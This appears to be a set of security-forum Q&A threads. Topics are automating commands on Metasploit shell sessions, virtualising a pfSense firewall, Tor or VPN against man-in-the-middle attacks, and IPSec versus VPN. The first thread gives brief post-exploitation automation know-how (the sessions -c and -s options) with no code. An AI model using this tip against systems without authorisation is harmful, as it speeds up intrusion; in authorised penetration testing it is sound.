I am currently automating the process, and want to run a bash script when shell access is gained. I have investigated the metasploit AutoRunScript option however it appears that this only works for meterpreter shells.

Is there any way to automatically run bash commands when command shell is opened using metasploit?

You want to look at the sessions command in the msfconsole.

-c (run command) and -s (run script) help you automate what happens on the open sessions from your end.

Man page for sessions here


By how much does virtualizing a perimeter firewall reduce network security? I am looking to set up a hardware firewall for my home network. However, I am but a poor lowly student so I'm looking to virtualise to reduce hardware costs.

Now for a diagram to explain what I have in my head (and also because I just like diagrams):

  +----------+
  | Internet |
  +----------+
       ‖
       ‖      Server running
       ‖        Hypervisor
+------O-------------------+      = and ‖ both represent network connections
|      ‖ WAN        DMZ    |
| +---------+   +--------+ |      The "O" symbol indicates a physical NIC
| | pfSense |===| Debian | |
| +---------+   +--------+ |      pfSense and Debian are both VMs
|      ‖ LAN               |
+------O-------------------+      The Debian VM will run an Apache server
       ‖
       ‖                          The Hypervisor ONLY exposes its management
    +-----+                       interface on the LAN NIC
    | LAN |
    +-----+

Now clearly having two physically separate machines is preferable to the above from a security standpoint, as the WAN attack surface is reduced. My question is by how much is the attack surface reduced?

I do not have an affinity for any particular hypervisor however given my testing so far the free VMware vSphere Hypervisor is looking to be the best.

The main problem with running that in a VM is throughput. Your router/firewall needs to be able to process packets and route them very quickly and at high volume.  This isn't always easy to achieve with a VM.

Also, I'm not really sure why you are doing it this way. What happened to your router? That is probably perfectly capable of doing what you want. Certainly, I wouldn't choose to connect a machine direct to the Internet if I could help it. One problem you will have is that the host computer will be exposed so any vulnerabilities could also expose the guests. To say nothing of the whole lot collapsing from time-to-time under the load (depending on the host resources) and having to be regularly restarted to install host OS patches.

If your needs are fairly limited, you could also consider a single board computer with a second network port added which would act as a router/firewall.


Can First Hop Man in the Middle be Defeated with TOR or VPN? I was reading this article about a certain in flight WiFi provider issuing fake SSL certificates for Google.  This doesn't really surprise me all that much since I'm well aware of the concept of proxies re-terminating SSL connections. In the end of the article the author says that you could use TOR or a VPN to bypass the security issue.  My question is: would technologies like TOR or VPN really be of any use here?  It seems to me that unless the session were already established before connecting to the untrusted access point, they could MitM these services just as easily as any other since they will always be the first hop.  Am I missing something critical here?

EDIT: Its becoming clear to me that I wasn't quite clear enough in the original question.  I know most browsers will throw errors and that these errors can be ignored.  My intended question was, will things like TOR or VPN be able to defeat this type of MitM on a technical level?

To be clear, issuing the *.google.com certificate causes the browser to explode with errors. You have to explicitly accept the certificate in most browsers in order to render anything, let alone become vulnerable to MitM attacks.

The same is true with other secure protocols. If somebody attempts to MitM a VPN, you probably have TLS authentication again and your client should explode. Same with Tor. TLS encryption won't validate.

You could probably ignore certificate errors in your VPN or Tor client... But why would you do that?

So the short answer is both VPN and Tor defeat MitM attacks... But so do modern browsers.


Does VPN secure the entire packet only? If VPN encrypts the entire packet in the established tunnel, what is the difference between IPSec and VPN in this case? Can be both used in the same time?

Thank you.

VPN is a generic term encompassing many approaches and technologies.  IPSec is one approach to encrypting VPN traffic and is used in L2TP and some other VPN protocols.  Cisco OpenConnect VPNs use DTLS instead.   OpenVPN uses SSL/TLS.